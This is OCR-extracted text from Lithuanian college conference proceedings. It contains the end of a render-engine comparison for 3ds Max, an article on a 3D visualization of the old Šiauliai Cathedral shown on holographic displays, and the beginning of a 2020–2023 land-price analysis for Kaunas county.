Atlikus Sviesos Saltiniy panaudojimo vizualizacijoje palyginima, galima
pastebéti, kad geriausias vaizdas yra gaunamas su vizualizacijos varikliu ,,V-ray*, nes
vaizdas yra labai natiralus, ir saulés $viesa néra per ryski. ,,Corona Render*
vizualizacijoje gaunamas siek tiek per didelis kontrastas ir labai ,,isdegintos* grindys.
»Arnold iSgautas vaizdas yra labai griidétas, norint iSgauti kokybiskesn] vaizdg
pakanka, gradétumo verte padidinti iki 25 vienety (4 pav. d), taciau tuo paciu pailgéja
vizualizacijos iSrySkinimo laikas.

Dar vienas vizualizacijos varikliy palyginimas buvo atliktas naudojant
skirtingy vizualizacijos varikliy tekstiras. Skirtingais vizualizacijos varikliais
sugeneruotas vaizdas pateiktas 6 pav. Sviesos 3altiniy koordinatés buvo nustatytos
tokios: X: 15,964 Y: 8,163 Z: 5,778, o §viesos ap$vietimo zonos spindulys sieké 3,5 m.
Sviesos spalviné temperatiira buvo pasirinkta 6500 kelviny.
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5 pav. Naudojant skirtingus vizualizacijos varikliy tekstras, sugeneruotas vaizdas:
a) ,,Corona render* (naudotos teksttros — ,,leather pull up broen®, ,,marble white
SSS*, ,,pine semigloss®, ,,Stucco poised taupe®, ,,Wenge matte®, ,,porcelain white
matte®, ,,glass clear®.);
b) ,,V-ray“ (naudotos teksttiros — ,,marble white*, ,,leather brown*, ,,metal
pattern®, ,,stucco JO1 color®, ,,glass*, ,,wood maple®, ,,wood mahagany* ir
,porcelein AO1 white*.);
c) ,,Arnold* (naudoti ,,Bitmap* — ruda oda, baltas marmuras, balta siena, tamsi
mediena, Sviesi mediena ir ,,Arnold* tesktiiros — ,,glass(thin geometry)*, ,,glossy
plastic, ,,glazed ceramic white® ir ,,brushed metal®)

I§ Sio tyrimo galime matyti, kad natiiraliausias vaizdas ir geriausiai atvaizduotos
tekstiiros gaunamos su ,,V-ray*, nes lyginant su ,,Corona Render* vaizdas natiiralesnis ir
geriau perduoda medziagy savybes, tokias kaip blizgesj ir faktiiras, nors spalviskai vaizdas
yra labai artimas. Vizualizacijos variklio ,,Corona Render tekstiiros kiek maziau
realistiskos, kaip ,,V-ray®. ,,Arnold” tekstliry buvo panaudota tik keletas, tai yra stiklas,
keramika ir metalas, kitos tekstliros buvo ,,bitmap* tipo. Gautas vaizdas atrodo gana
nattiraliai, taciau kiek skiriasi parinkty teksttiry atspalviai ir labai stiprus standartiniy
vizualizacijos variklio bibliotekos medZiagy blizgesys.

ISvados

1. Ivertinus 3D vizualizacijos varikliy analiz¢ ir jy naudojimo galimybes
nustatyta, kad didziausig jtakg vaizdui gali turéti apSvietimo ir tekstliry parametry
parinkimas.

2. Atlikus respondenty apklausa buvo iSsiaiskinta, kad trimatés grafikos
programomis labiausiai naudojosi 26-35 mety respondentai, o ,,Arnold* vizualizacijos
variklis dazniausiai naudojamas studenty ir pradedanciyjy dirbti ,,Autodesk 3dsMax*
programa. Profesionalai buvo linke labiau rinktis ,,Corona Renderer” arba ,,V-ray“.
Pastarasis buvo labiau naudojamas respondenty (47 proc.), ypac darbo tikslais.
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3. Tyrimas, atlikus vaizdo generavima, naudojant vizualizacijos variklius

,V-ray”, ,,Armold“ ir ,,Corona Renderer”, esant atitinkamiems Sviesos parametry
nustatymams, parode, jog kokybiskiausias vaizdas buvo gautas naudojant ,,V-ray*, kai tuo
tarpu ,,Corona Renderer” davé labiau kontrastingg ir iSdeginta vaizda, o ,,Arnold“
padidintg vaizdo gridétuma. Atliktas tyrimas su vaizdo generavimo varikliy tekstaromis,
parodé, jog ,,Corona Renderer” ir ,,V-ray“ gauta rezultatas buvo gana artimas, taciau
pastarasis ksliau atvaizdavo medziagy savybes, tokias kaip blizgesys ir fakttra.
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12. Zakrys, D., Gudaitiené, R. (2019). ,,Autodesk 3DsMax* sukurty vaizdy, naudojant
skirtingus vizualizavimo variklius, analizé. Inovacijy taikymas technologijose:
konferencijos praneSimy medziaga. Kaunas: Technologijos.

Summary

Autodesk 3ds Max is one of the most popular 3D graphics programs, compatible with various
visualization engines. Each visualization engine has its own texture library and a slightly different
light and material interpretation mechanism; hence the goal of the research was to compare the
image export capabilities of visualization engines. The comparison was made by choosing the
appropriate matches for the light parameters and materials. In order to select the types of
visualization engines and find out their popularity, a survey of respondents using Autodesk 3ds
Max software was conducted.
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Siauliy katedros istoriné trimaté vizualizacija

Greta Selvenyté, Renata Gudaitiené
Kauno kolegija

Anotacija. Kiekvienai kartai svarbu islaikyti savo tautos ir protéviy istorija,
perduoti ja ateities kartoms. Trimaté grafika yra vertingas jrankis Sioje srityje,
leidziantis perkelti istorinius objektus j virtualig erdve, padarant istorinj objekta labiau
priecinamg $iuolaikiniams muziejaus lankytojui. Siame darbe, atlikus istorinés
informacijos ir naudojamy trimaciy vaizdy demonstravimo jrangos analizg, buvo
nuspresta sukurti trimate Siauliy katedros vizualizacija ir animacija naudojant
»Autodesk 3dsMax“ programa®. Pasitelkus Siuolaiking vaizdy perdavimo holografing
jranga vaizdai buvo adaptuoti demonstravimui muziejaus erdvéje.

Raktiniai ZodZiai: trimaté grafika, 3D vizualizacija, Autodesk 3dsMax,
Siauliy katedra, holografija.

Ivadas

M. T. Ciceronas yra pasakes ,Istorija yra gyvenimo mokytoja“ (Zalta ir
Nodelman, 2022). Kiekvienam Zzmogui yra svarbu i$saugoti savo protéviy istorija
ateities kartoms ir idomiai ja perteikti savo vaikams ir jaunesniosioms kartoms. Su §ia
problema nuolatos susiduria ir daugelis muziejy. Vienas i§ bady i§spresti $ig problema
yra perkelti istorinj objekta j skaitmening erdve. Tai galima padaryti pasinaudojant
informaciniy technologijy galimybémis, kaip pavyzdziui, trimatés grafikos ir
animacijos priemonémis. Trimaté grafika yra daZnai naudojama jvairiose srityse,
tokiose kaip zaidimy kairimas, edukacija, architektira (Gudaitiene ir Driaucitinaité,
2022), medicina (Gaasedelen ir laizzo, 2019), taip pat filmy ir jy efekty kirime,
gamyboje, kur galima sumodeliuotg trimatj produkta atspausdinti 3D spausdintuvu
(OfficeDay, 2023). Pateikti trimate grafika sukurtus objektus zifirovui galima jvairiais
budais: sugeneruojant paprasta vaizdo jrasa, virtualiosios realybés priemonémis ar net
holografiniy vaizdy pagalba.

Darbas tikslas — istyrus istoring informacija ir trimacio vaizdo demonstravimo
ypatumus sukurti senosios Siauliy katedros vizualizacija bei animacija ir pritaikyti
holografui.

Darbo uZdaviniai:

1. Istirti darbui atlikti reikalinga istorine medziaga, susijusia su Siauliy miestu
ir katedra, ir i$siaiSkinti architektiirinius pokyc¢ius vykusius laiko tékméje.

2. Isanalizuoti vaizdo perdavimo ypatumus naudojant skirtingo pobitidzio
jranga ir reikalavimus originalaus vaizdo demonstravimui.

3. Pagal ilikusia istorine informacija sukurti buvusios Siauliy katedros, ja
supanc¢iy pastaty ir aplinkos originalia vizualizacija ir animacija

4. Pritaikyti sukurtg vizualizacijg rémo formos holografui su skaidraus stiklo
technologija
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Sitame darbe buvo naudojamas analitinis tyrimo metodas (atliekant istoriniy ir
kity Saltiniy analiz¢), o taip pat praktinis gauty ziniy pritaikymas, sumodeliuojant
trimacius objektus ir sukuriant originalig istoring vizualizacija.

Siauliy katedros istorija ir jos kaita

Siekiant tiksliau atkurti buvusj objekta, pirmiausiai buvo i$analizuota Siauliy
miesto ir katedros istorija. R. Zubrickiené (2016) straipsnyje raSoma, kad katedros
pirmtaké buvo nedidelé mediné bazny¢ia, kuri buvo pastatyta aikstés rytiniame kampe
1445 m. vyskupo ir zemaiciy seniino Mykolui Kesgailai pageidavimu. Mediné
baznycia i$silaiké — iki XVII pradzios, kol buvo nusprgsta pradéti statyti naujg miiring
baznycia. Mirinés baznycios statyby metu vis dar stovéjo ir veiké mediné.

Anot R. Zubrickienés (2016) miiriné baznyéia buvo pradéta statyti XVII
amziuje. Sios bazny¢ios architektiira buvo renesanso manierizmo stiliaus. Lietuvoje §io
stiliaus sgvokos taikymas kiek kitos nei Italijoje. V. Levandauskas (2009) teigia, kad
Siauliy katedra su savo aukstu bokstu yra vienanave, suprojektuota lotyniskojo kryZiaus
plano ir turinti originalig SeSiasien¢ apside. Neskaitant tradiciniy, Lietuvos renesansui
bidingy architektiiros formy, joje taip pat matomi Siaurés Europos manierizmo bruozai.
Pasak R. Zubrickienés (2016) Siauliy miirinés bazny¢ios architektiira, islikusi iki $iy
dieny, yra labai aukstos kokybés ir lygio. Ji yra unikali ir i§ renesansiniy Lietuvos
bazny¢iy issiskiria savo gynybiniais bruozais.

Siauliy katedros puslapyje, straipsnyje ,,Siauliy katedros istorija“ (2019) teigiama,
kad 1634 m. Siauliy katedra buvo konsekruota (pasventinta), tadiau baznycios statybos
nebuvo visiskai baigtos. ,,Karaliaus Vladislovo Vazos 1644 m. privilegijoje nurodoma, kad
katedra dar nebuvo tinkuota, o Sventorius neaptvertas. Todél galima manyti, kad statybos
galutinai buvo ubaigtos apie X VII a. viduryje* Siauliy katedra (2019).

V. Butvilas (2008) savo rasto darbe pasakoja, kad jau XVII a. viduryje katedra
sulaukusi pirmyjy nelaimiy:

¢ 1655 m. jvyko karas su $vedais, po kurio baznycCia stovéjo neremontuota,
taciau nebuvo uzdaryta ir tebeveike.

® 1676 m. rugpjucio 21 d. karaliaus Jono Sobieskio ekonomijos vaitams buvo
todél Sapiegoms buvo liepta pasir@ipinti jos remontu

¢ 1748 m. audra apgadino katedros stoga ir Siaurinius karnizus.

© 1758 m. stipriai audra vél apgadinus stoga, buvo pasamdytas meistras Juozas
Boratinskis.

¢ 1786 m. vél rekonstruojamas stogas.

©1794-1799 m. buvo statomi tkiniai pastatai, perstatyta zakristijos krosnis,
remontuojamas bokstas ir langai.

® 1817 m. sutvarkytos Soninés koplycios ir perdengtas baznyc¢ios stogas.

¢ 1840 m. inventoriuje nurodyta, kad sienos ir karnizai jau suremontuoti,
i8skyrus apsidés dalj tarp jéjimo j zakristijg ir Soninés sienos.

© 1853 m. buvo surinkti pinigai skliautams ir stogui suremontuoti.

¢ 1880 m. liepos 8 d., j katedros boksta trenkus Zaibui sudegé jos medinis stogas.
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Kaip teigia istoriniai Saltiniai (Zubrickien¢, 2016), katedros boksto virSus buvo
atstatytas jau kitoks negu dailininko Napoleono Ordos tapyboje (1 pav.). Anot V. Butvilo
(2008) katedra ,,neteko grakstaus, zaliai dazyto varpo formos Salmo*, kuris buvo pakeistas
kur kas paprastesne, ,,aukstos astuoniakampés piramidés pavidalo smile su stoglangiais ir
trikampiais frontonéliais“. Be to buvo paaukstintas ir pats bokStas — pastatyta Sesta
aStuoniasiené boksto dalis, kuri buvo ,,suskaidyta pusapskritémis niSomis su mazesniais
langais®, 0 ,,pastogé apjuosta gana ryskiu karnizu®. Si renesansiné bazny¢ios boksto forma
i8liko iki miisy dieny.
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1 pav. Siauliy senosios katedros vaizdas, kurj 1875-1876 m.
nutapé Napoleonas Orda (IS ,,Ausros* muziejaus archyvy)

Katedros grindys, kaip raSoma V. Butvilo (2008) 1901 m., buvo pakeistos
akmeninémis, o 1911-1912 m. buvo perstatytos ir abi zakristijos. Joms buvo suteiktas
didesnis plotas ir jos jgavo ,trisienius rytinius galus“. Iki Pirmojo pasaulinio karo
bazny¢ios remontui vadovavo inZinierius Ka¢kauskis. Manoma, kad pagal jo projektus
buvo rekonstruotos ir zakristijos. 1913 m. baznycioje buvo jstiklinti nauji vitrazai.
Siauliy katedros pastatas taip pat labai nukentéjes ir per Pirmajj pasaulinj karg. Po karo
katedros pastatui prireiké rimto remonto. Buvo, tvarkomos jo sienos, stogas, Sventorius.
Kaip teigia istorikai, 1923 m. darbus prizitréjes inzinierius Karolis Reisonas.

2 pav. Po Antrojo pasaulinio karo sugriauta Sv. Petro ir Povilo bazny¢ia Siauliuose
(Foto S. Ivanausko. I§ Siauliy ,,Ausros* muziejaus rinkiniy)

228



V. Butvilas (2008) pasakoja, kad 1924 metais, bazny¢ia buvo visiSkai
renovuota pries jos 300 mety jubiliejy. Tuo metu kunigo Julijaus Jasinskio pasitilymu
buvo nutarta Siek tiek iSplésti pastata — perstatyti ir padidinti 23 Sonines koplytéles.
Naujai pridéti fasadai buvo $iek tiek pritaikyti prie senyjy formy, taciau i§ esmés nauji
priedai, i$sikiS¢ uz transepto riby, i$ tiesy pakeité pirminj, Renesanso epochai buidinga
tarj ir lakonidka kryzminj plang. Anot istoriko ,,per tris §imtmeéius Siauliy katedra
labiausiai nukentéjo Antrojo pasaulinio karo laikotarpiu. 1944 m. liepos 27 d.“

Trimacio vaizdo demonstravimo galimybés

Virtuali realybé (VR) jtaisai

Virtuali realybé yra vienas i§ biidy pateikti trimatés grafikos vizualizacija
zitrovui. Nors virtualios realybés jtaisai Lietuvoje ne naujiena kiekvienam, taciau
didziausias populiarumo Suolis jvyko COVID-19 pandemijos metu, kai zmonés
negaléjo palikti savo namy. G. Zemaityté (2016) savo straipsnyje kalba, kad terminas
,virtuali realybé® (VR), atsirado XX a. apie 9-ajj deSimtmetj. VR yra sukuriama
kompiuterinio modeliavimo ir simuliacijos pagalba. VR leidZia asmeniui interaktyviai
veikti dirbtingje trimatéje vizualinéje ar kitoje juslinégje aplinkoje. VR programos
itraukia vartotoja | kompiuteriu sukurta aplinkg, naudojant dévimus interaktyvius
jrenginius. (pavyzdziu kaip specialiuosius akinius (3 pav.), Salmai (HMD), pirstinés ar
viso kiino kostiumai, kurie siuncia ir priima informacija, veikia dévinciojo jusles ir
simuliuoja realybe, taip sukuriant tikroviskos patirties efekta. Sekant vartotojo judesius
ir pagal juos pritaikant ekrano vaizdg, sukuriama ,,buvimo ten“ iliuzija (teleprezencija).
Vartotojas gali ,,judéti* erdvése, keisti zitiros taSkus ir perspektyvas, kurie jtikinamai
susieti su jo galvos judesiais ir zingsniais, o specialios pirStinés (data gloves) leidzia
manipuliuoti objektais, matomais virtualioje erdvéje.

3 pav. ,, Oculus Rift “ virtalios realybés akiniai

Holografiniai jrenginiai

Holografiniai jrenginiai yra kitas galimas biidas demonstruoti Siauliy katedros
trimate vizualizacija. Siais jrenginiais galima paprastam 2D vaido jrasui suteikti tre¢ia
demencija (4 pav.).

229



4 pav. Holografinis ekranas ,,HoPro* dirbtuvése

H. Ghuloum (2010) raso, kad zodis ,,hologramas* sudarytas i§ graiky terminy
,,holos*, reiskiancio ,,visas vaizdas®, ir ,,gram®, reiskiancio ,,paraSytas“. Holografiniu
jtaisu sukuriamo trimaéio vaizdo schema pateikta 5 pav. Ekranas, kuris rodo vaizdo
jrasa yra jtaiso apacioje arba virSuje, kur zilirovas $io monitoriaus nemato. Apie 45°
kampu ] ekrang nukreipta permatoma, bet atspindinti medziaga. Rodomo vaizdo fonas,
pagal numatytus prietaiso vaizdo atkfirimo reikalavimus, turi biti juodas, kad jo
nesimatyty iliuzijoje.

i

-/ Orginalus vaizdas
=

A
—k

Permatomas, bet blizgus pavirsius

. «;{? Zilirovas

TR
W  LiZio kampas

Sukurta vaizdo iliuzija

5 pav. Holografinio jtaiso veikimo schema (Ghuloum H., 2010)

Norint sukurti trimacio vaizdo iliuzijg holograminéje piramidéje (7 pav.) vaizda
reikia pries tai atitinkamai paruosti. Naudojant ,,Abobe After Effects” programing jranga
vaizdas turéty biiti sudéliotas j Sablong (6 pav.) ji pasukant 90 laipsniy kampu ir
adaptuojant prie piramidés parametry.
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6 pav. Vaizdo isskaidymas 7 pav. Trimatis holografinis projektorius

ir i8déliojimas ant ekrano kuriant
erdvinj 3D efekta

Paveikslo rémelis su skaidraus stiklo technologija

Skaidraus LCD ekrano technologija pavercia baltus vaizdo jraso pikselius |
permatomus (8 pav.). ,,HoPro“ atstovas A. LukSevi¢ius (n.d.) teigia, kad per skaidry
ekrang galima leisti jvairius vaizdo failus, ta¢iau dazniausiai naudojamas h264 koduotés
formatas (geriau zinomas kaip mp4). Vaizdo formato paleidima ant skaidraus ekrano
galime lyginti su jprasto televizoriaus ekrano formatu. Taciau norint i§gauti skaidry
vaizdo jrasa, fonas turi buiti baltas, nes Sios technologijos baltas fonas vaizdo
medziagoje pikselius pavercia skaidriais. Tik yra vienas $ios technologijos apribojimas,
kad negalima atvaizduoti visi$kos baltos spalvos.

1. Skaidraus stiklo technologija (transparent
LCD ekranas)

2. Rémelis j kurj jdedamas ekranas. Turi
A V viduje balta fong ir apSvietimg.

3. Eksponatas, kuris gali buti jdedamas j
sukurtg vaizdo instaliacija.

8 pav. Paveikslo rémelis su skaidraus
stiklo technologija brézinys
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Tyrimo rezultaty pritaikymas praktiniam darbui

Atlikus istorijos medziagos analize buvo sumodeliuota Siauliy katedra, kaip ji
atrodé anks$ciau, kai turéjo varpo formos boksta. ,,Autodesk 3dsMax‘ buvo pasirinkta
katedros ir pastaty modeliavimui (9 pav.).

9 pav. Sumodeliuotas pastato ir jo daliy vaizdas ,,Autodesk 3dsMax“ buvo

Sienos tekstiros buvo sukurtos naudojant ,,Autodesk 3dsMax“ jrankij,
vadinamg ,,Viewport canvas®. Papildomai tekstiiros buvo redaguotos naudojant ,,Adobe
Photoshop®. ,,Itoo Software” papildinys buvo naudojamas vizualizacijai praturtinti,
sukuriant medzius, Zolg, takelius (10 pav).

10 pav. Siauliy katedros vizualizacija skirtingais rakursais

Atlikus katedros modeliavima ir tekstiiravimg, pagal istorinius $altinius buvo
sumodeliuoti keli nameliy modeliai, kurie matosi Napoleono Ordos paveiksle (1 pav.).
taip at buvo sukurta gamtos aplinka (Zzol¢, medziai, takeliai), sukurtas natiiralus aplinkos
apSvietimas. Animacijai kurti buvo panaudota virtuali kamera ,,Autodesk 3dsMax*
programoje. ISeksportuotas vaizdas pateiktas avi formato failu.
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ISvados

1. Siame darbe buvo atlikta istorinés informacijos analiz¢, pastebéta, kad nors
Siauliy katedra buvo remontuojama gana daznai, smarkiai ji nepakito. Iiskyrus 1880 m.
liepos 8 d. kai j katedros bokstg trenké zaibais ir sudegé jos stogas. Suremontuota
katedra turéjo jau kitokios formos stoga, o jos bokstas buvo vienu skyriumi
paaukstintas. Tokia katedra isliko iki $iy dieny.

2. I3analizavus trimatés vizualizacijos demonstravimo biidus ir aptarus
naudojamas technologijas su muziejumi, buvo pasirinkta skaidraus stiklo technologijos
instaliacija.

3. Naudojantis ,,Autodesk 3dsMax*“ buvo sumodeliuota Siauliy katedra pagal
Napoleono Ordos paveikslg ir aplink ja esantys pastatai. Tekstliras pakoreguoti buvo
pasitelkta ,,Adobe Photoshop® programa. Galiausiai buvo panaudota ,Itoo software*
misko jskiepis, pagyvinant vizualizacija gamtos elementais ir taip suteikiant jai realumo.

4. Naudojantis ,,Adobe Premiere Pro* iSeksportuota originali vaizdo medziaga,
buvo apjungta j vaizdo jrasa ir pritaikyta skaidraus stiklo holografinei instaliacijai.
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Summary

It is important for every generation to preserve the history of their nation and ancestry, to pass it
on to future generations. Three-dimensional graphics are a valuable tool in this field, allowing the
transfer of historical objects into virtual space, making the historical object more accessible to the
modern museum visitors. In this article, after analysing the historical information and the
equipment used to display three-dimensional images, it was decided to create a three-dimensional
visualization and animation of Siauliai Cathedral using the Autodesk 3ds Max program. With the
help of modern holographic image transmission equipment, the images were adapted for display
in the museum space.
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Zemeés rinkos analizé Kauno apskrityje

Arnas Smita, Vytauté Juodkiené
Kauno kolegija

Anotacija. Pastarojo meto sparti Zemés rinkos plétra ir augantis investuotojy
susidoméjimas, skatina didesnj poreikij iSsamesniai analizei apie esama rinkos situacija.
Zemé yra pats vertingiausias nekilnojamasis turtas, nors ir derlingos zemés pasiiilai
nuolatos mazéjant, o paklausai augant, jos vert¢é mazéti nelinkusi: nors Zemés
pardavimo sandoriy skaiCius ir sumazéjo, pirkimo ir nuomos kainos toliau stabiliai
augo. Tyrimy tikslas — iSanalizuoti Zemés sklypy rinka Kauno apskrityje 2020-2023 m.
laikotarpiu. Siame straipsnyje i$nagrinéti Zemés tikio paskirties Zemés, taip pat sody
sklypy, gyvenamosios teritorijos ir misky tkio zemés sklypy rinkos rodikliai. Nustatyta,
kad Zemés sklypy kainos Kauno apskrityje didéjo nuo 2020 m. iki 2022 m., 0 2023 m.
pastebimas parduodamy zemés iikio paskirties, sody ir misky tikio Zemés sklypy kainy
sumazéjimas. Taciau gyvenamuyjy teritorijy Zemés sklypy rinka stabiliai kasmet 1-2
kartus augo. Gyvenamyjy teritorijy zemés sklypy ir sody Zemés sklypy rinkos
intensyvumui daugiausia jtakos turi gyventojy tankis, tai patvirtina determinacijos
koeficientas R?= 0,97 ir dispersijos analizé, kai p<0,05.

Raktiniai ZodZiai: Zemés rinka, erdviniy duomeny rinkinys, zemés tkio
paskirties zemé, gyvenamuyjy teritorijy zemé, Sody zemés sklypai, misky tikio paskirties
zemg, vienfaktoriné dispersiné analizé.

Ivadas
neaplenkdama ir Zemés ukio sektoriaus: uzsivérus valstybiy sienoms, atsirado
jvairiausio pobudzio apribojimy, salygojusiy visos Europos Sajungos maisto tiekimo
grandinés trikdzius, pareikalavusius pertvarkyti ir optimizuoti pardavimo bei tiekimo
kanalus. Vis délto zemé yra vertingas nekilnojamasis turtas, kad ir derlingos Zemés
pasitlai nuolatos mazéjant, o paklausai augant, jos verté mazéti nelinkusi: nors zemés
pardavimo sandoriy skaiCius ir sumazéjo, pirkimo ir nuomos kainos toliau stabiliai
augo, o zemés tkio sektorius, lyginant su kitais pramonés sektoriais, padaré didziausia
jtakg lietuviskos kilmés prekiy metiniam eksporto augimui (Deltuvas, 2021).

Temos aktualumg pagrindzia pastarojo meto sparti nekilnojamojo turto rinkos
plétra ir augantis investuotojy démesys, kas skatina didelj poreikj iSsamiai ir
palyginamai informacijai apie esama rinkos situacija. Sio tyrimo metu bus sickiama
iSanalizuoti Kauno apskrities zemés sklypy rinkos poky¢ius 2020-2023 m. laikotarpiu.

Tyrimo objektas — zemés sklypy rinka Kauno apskrityje.

Darbo tikslas — sukurti zemés sklypy kainy veréiy zemélapius, kuriy pagalba
analizuojamas Kauno apskrities zemés rinkos kitimas nagriné¢jamu laikotarpiu. Siekiant
Sio tikslo buvo iskelti tokie uZdaviniai:

1. ISanalizuoti parduodamus zemés sklypus Kauno apskrityje 2020-2023 m.
laikotarpiu.
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2. Palyginti zemés rinkos kainas tarp Kauno apskrityje esanciy savivaldybiy.
3. Jvertinti gyventojy tankio jtakg zemés sklypy rinkai.

Teoriné dalis

Visais laikais Zemé iSskiriama kaip labai vertingas zemés tkio produkty
gamybos isteklius. Todél, tai turi labai didelés jtakos Zemés tikio paskirties zemés kainai
ir vertei. Zemés kainai jtakos turi Zemés derlingumas (Aleknaviéius ir kt. 2020; Lee ir
kt., 2020), naudojimo intensyvumas ir vietovéje esanti infrastruktara (Mihailova, 2022).
Be to, Sios Zemés valdos turi buti kompaktiskos, uztikrinanCios racionaly zemés
naudojimg ir efektyvy Zemés Gikio gamybos organizavima. Labai didele jtakag turi ir
vietovés savybés (Mihailova, 2022; Lee et al., 2020).

ISanalizavus uzsienio autoriy literatiirg, be minéty veiksniy, mokslininkai
iSskiria ir gyventojy bei aplinkos rodiklius (An ir kt., 2021). Taip pat mokslininky
démes;j vis labiau atkreipia tokie veiksniai kaip Zemés rinkos pasiila ir paklausa, zemés
pasitlos struktiira, zemés rinkos veiklos efektyvumas, reguliavimas ir politika
(Mihailova, 2022; Ciaian ir kt., 2021; Gutiérrez-Posada ir kt. 2017).

Apibendrinus i$nagrinéta literatara, galima teigti, kad nekilnojamasis turtas
suvokiamas kaip fizinis objektas, turintis ekonomines, teisines ir socialines savybes
(Bagdzitniené, 2011). ISry§kéja zemés rinkos jvairiapusiS§kumas, pasirei$kiantis per
Sios rinkos jvairy skirstyma. Be to, i$siaiSkinta, kad keifiantis jvairiems veiksniams
zemés rinka juda ciklu. Ciklui budingos tokios fazés: a) ekspancija, b) sulétéjimas,
pikas, kritimas, ¢) nuosmukis, d) sulétéjes nuosmukis, sastingis, pakilimas.

Straipsnyje jvertinant zemés rinkag Kauno apskrityje, buvo analizuojami zemés
sklypai pagal panaudojima zmogaus tkinei ir kitokiai veiklai (Dél Zemés vertinimo
masiniu badu..., 2011):

1. Zemés tkio paskirties zemés sklypai (be mégejy sody zemés sklypy ir
sodininky bendrijy bendrojo naudojimo zemés sklypy). Prie Siy zemés sklypy
priskiriami zemés tkio paskirties Zemés sklypai, misky tkio paskirties zemés sklypai,
vandens tikio paskirties Zemés sklypai, konservacinés paskirties Zemés sklypai bei kitos
paskirties Zemés sklypai, kuriy naudojimo budas yra naudingy iskaseny teritorijos,
teritorijos krasto apsaugos tikslams.

2. Gyvenamyjy teritorijy zemés sklypai. Prie Siy zemés sklypy priskiriami
namy valdy Zemés sklypai, kitos paskirties zemés sklypai, kuriy naudojimo biidas yra
gyvenamosios teritorijos, visuomeninés teritorijos, bendrojo naudojimo (miesty,
miesteliy ir kaimy ar savivaldybiy bendro naudojimo) teritorijos.

4. Misky ukio paskirties zemés sklypai. Priskiriama misko zemé ar misko
valdose jsiterpusios kitos Zzemés naudmenos, tarp jy atskirais zemés sklypais
nesuformuotos zemés tikio naudmenos.

5. Sody sklypai. Tai zemés iikio paskirties zemés sklypai, esantys sodininky
bendrijoje.

Tyrimo metodika

Atliekant tyrima naudotasi mokslinés literatiiros, statistiniy duomeny,
kartografinés medziagos analizés, lyginimo, apibendrinimo, grafinio modeliavimo,
statistiniy duomeny analizés bei loginio mastymo metodais. Duomenys teoriniam tyrimui
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atlikti gauti i§ jvairiy Lietuvos ir uZsienio literatiiros Saltiniy, moksliniy darby, Lietuvos
Respublikos zemés fondo suteikiamos informacijos apie Zemés naudmeny situacija.

Analizuoti V] Registry centro statistiniai duomenys ir duomenys rinkti i$
internetiniy svetainiy apie Kauno apskrityje parduodamus Zemés sklypus:
www.aruodas.It, www.skelbiu.It, www.capital.It, www.domoplius.lt.

Pagrindiniai duomenys analizei atlikti gauti i§ Geoportalo atsisiuntus
georeferenciniy erdviniy duomeny rinkinj GDRI1OLT M 1:10000. Kauno apskrities
savivaldybiy kartografavimas atliktas ArcGIS 10.8.2 programine jranga. Taip pat
sukurta 16 skirtingy Kauno apskrities Zemés sklypy kainy (Eur/a) zemélapiy M 1:700
000. Zemélapiuose isskirtos Kauno apskrityje esan¢ios savivaldybés: Kauno miesto
savivaldybeé, Kauno rajono savivaldybé, Prieny rajono savivaldybé, Kaisiadoriy rajono
savivaldybé, Jonavos rajono savivaldybé, Kédainiy rajono savivaldybé, Raseiniy rajono
savivaldyb¢, BirStono savivaldybé. Siekiant jvertinti Zzemiy vidutines rinkos vertes
(Eur/a) buvo suskirstyta j 5 klases: nuo Zemiausios kainos (Sviesiai mélyna spalva) iki
auksciausios kainos (tamsiai mélyna spalva).

Statistiné duomeny analizé atlikta taikant SPSS ir MS Excel duomeny
apdorojimo paketus. Norint nustatyti reikSmingus nepriklausomy im¢iy skirtumus buvo
taikytas vienfaktorinés dispersinés analizés metodas ANOVA.

Tyrimo rezultatai ir jy aptarimas

Valstybinio zemés fondo duomenimis, 2023 m. sausio 1 d. Kauno apskrityje
7zemés Tikio naudmenos sudaré 451168,98 ha (55,79 proc.) (1 pav.): 414731,20 ha
sudaré ariamoji zemé, 33858,07 ha — pievos ir natiiralios ganyklos bei 2579,71 ha —
sody Zemé. Kauno apskrityje 2021-2023 m. laikotarpiu zemés tkio naudmeny plotas
sumazéjo 0,50 proc., ariamosios zemés plotai sumazéjo 0,20 proc., pievy ir natiiraliy
ganykly plotas sumazéjo 4,66 proc., 0 sody plotas padidéjo 8,28 proc.

Keliai 1.83%

Zemeé uzimta vandens telkiniy
Kita zeme —

Uzstatyta teritorija 4

5.0

R T { Zemés kio naudmenos
Miskai (misko zemeé) -

1 pav. Zemés fondo pasiskirstymas pagal Zemés naudmeny plota
(Valstybinis zemés fondas, 2023)
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Remiantis sukurtais Zemélapiais, pateikiamos zemés Gkio paskirties Zzemés
sklypy vidutinés kainos 2020-2023 mety laikotarpiu (2 pav.).

2021 m. 2. 0. paskirves.
£ skiypy kaina (Euri2)

2 pav. Zemés iikio paskirties Zemés sklypy vidutinés kainos 2020-2023 m.

Zemeés tikio paskirties zemés sklypy kainos nuo 2020 m. iki 2022 m., stabiliai
augo Jonavos, Kaisiadoriy, Kédainiy, Prieny ir Raseiniy rajony savivaldybése.
Didziausias augimas fiksuotas Kauno miesto, Kauno rajono ir Jonavos rajono
savivaldybése, atitinkamai siekes beveik 20, 23 ir 20 proc. Kauno apskrityje sklypy
kainos did¢jo kiekvienais metais, ta¢iau 2023 m. fiksuotas labai nezymus kainy kritimas
Kauno miesto, Kauno rajono ir Bir§tono savivaldybése. Vidutiné Zemés tikio paskirties
zemés pirkimo kaina apskrityje 2023 m., palyginti su 2022 m., sumazéjo apie 3 proc.

Nagrin¢jant misky tkio paskirties zemés kainas 2020-2023 mety laikotarpiu
(3 pav.) nebuvo rasta duomeny apie parduodamus sklypus Kauno miesto (2021-2023 m.),
Birstono (2022-2023 m.) ir Kédainiy (2022 m.) rajono savivaldybése.
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3 pav. Misky iikio paskirties zemés sklypy vidutinés kainos 2020-2023 m.

Auksciausios misky tkio paskirties Zemés kainos 2020-2023 m. laikotarpiu
buvo fiksuojamos Kauno rajono (420 Eur/a) ir Jonavos rajono (155 Eur/a) savivaldybése,
jos vidutiniskai augo apie 2 kartus. Maziausios kainos buvo Raseiniy rajono ir Kédainiy
rajono savivaldybése, atitinkamai 47 ir 38 Eur/a. Taciau 2023 m. fiksuotas labai nezymus
kainy kritimas Kauno rajono, KaiSiadoriy rajono ir Kédainiy rajono savivaldybése.
Vidutiné mi§ky tkio paskirties Zemés pirkimo kaina apskrityje 2023 m., palyginti su
2022 m., sumazgjo apie 13,75 proc.

Nagringjant gyvenamyjy teritorijy zemés sklypus 2023 m. didziausios kainos
